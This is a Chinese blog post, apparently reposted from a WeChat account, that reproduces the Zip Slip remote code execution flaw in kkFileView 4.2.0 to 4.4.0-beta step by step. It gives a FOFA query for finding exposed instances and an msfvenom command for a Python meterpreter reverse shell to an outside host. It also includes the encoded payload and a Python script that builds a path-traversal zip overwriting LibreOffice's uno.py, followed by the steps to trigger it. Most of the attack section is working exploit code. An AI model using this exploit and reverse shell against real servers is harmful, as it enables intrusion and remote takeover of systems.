kkfileview远程代码执行漏洞复现--保姆级复现

admin 2024年4月22日06:05:07评论21 views字数 2115阅读7分3秒阅读模式

kkFileView 远程代码执行漏洞复现:

漏洞成因:

在v4.2.0版本的更新中,由于前台上传功能在处理压缩包时,从仅获取文件名改为获取文件名及其目录,导致出现了Zip Slip漏洞。这使得攻击者可上传包含恶意代码的压缩包并覆盖系统文件,随后通过调用这些被覆盖的文件实现远程代码执行。

影响范围:

4.2.0 <= kkFileView <= v4.4.0-beta

语法搜索:

fofa:app="kkFileView" 

环境部署:

wget https://kkview.cn/resource/kkFileView-4.2.0-docker.tar
docker load -i kkFileView-4.2.0-docker.tar
docker run -itd -p 8012:8012 keking/kkfileview:4.2.0
kkfileview远程代码执行漏洞复现--保姆级复现

访问8012端口,环境就起来了:

漏洞复现:

考虑到环境以及以及一些命令问题,这里直接选择用msf来反弹shell

msf生成python木马:

msfvenom -p python/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=11321 -f raw -o kkview.py
kkfileview远程代码执行漏洞复现--保姆级复现
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9T01LAzEQPW9+RW5JMIamrj0UVxDxICKC9SYiu8m0hs0mIUl1VfzvNqbIwAxv3puPZ6bgY8bJqxEy/7Jm4EOfYNXylONeZZ7NBGjrI56xcTj2bgdULtgaNTl+HnKTujosaqFLfsSbh+u7183T483VPSs6obxzoDKlRIq/IFzKs6VkhR4i9CNqYFYQctlbDotkAQI9Z8h29R+xd6FXIyWXt4QnEUG905ax58UL0t0RW4Y+3owFbMFRzS7sYZ0++WdPa5shmEHRYlloUH4KEVKi1b0YVm1paihK/k0SWacfhn4BkdFeGg==')[0])))

替换如下脚本:

注意点一:将上述的'进行转义,用'

注意点二:/opt/libreoffice7.3/program/uno.py 该路径注意下,很多脚本都是/opt/libreoffice7.5/program/uno.py路径,这里根据版本和实际情况来的,这里环境就是7.3的

import zipfile

if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b'exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNo9T01LAzEQPW9+RW5JMIamrj0UVxDxICKC9SYiu8m0hs0mIUl1VfzvNqbIwAxv3puPZ6bgY8bJqxEy/7Jm4EOfYNXylONeZZ7NBGjrI56xcTj2bgdULtgaNTl+HnKTujosaqFLfsSbh+u7183T483VPSs6obxzoDKlRIq/IFzKs6VkhR4i9CNqYFYQctlbDotkAQI9Z8h29R+xd6FXIyWXt4QnEUG905ax58UL0t0RW4Y+3owFbMFRzS7sYZ0++WdPa5shmEHRYlloUH4KEVKi1b0YVm1paihK/k0SWacfhn4BkdFeGg==')[0])))'
zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("hack.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.3/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e

利用脚本生成zip文件,然后随便简历一个odt文件即可:

触发漏洞:

这里先上传zip文件进行预览:

kkfileview远程代码执行漏洞复现--保姆级复现
image-20240421212837883
kkfileview远程代码执行漏洞复现--保姆级复现

紧接着上传otd文件(可以新建一个word,改名为otd后缀即可),点击预览,即可触发该漏洞,msf收到shell

kkfileview远程代码执行漏洞复现--保姆级复现
image-20240421212955066
kkfileview远程代码执行漏洞复现--保姆级复现
image-20240421213044699

查看opt/libreoffice7.3/program/uno.py文件,发现恶意脚本已经写入成功,并成功触发

原文始发于微信公众号(安全小子大杂烩):kkfileview远程代码执行漏洞复现--保姆级复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月22日06:05:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   kkfileview远程代码执行漏洞复现--保姆级复现https://cn-sec.com/archives/2678338.html

发表评论

匿名网友 填写信息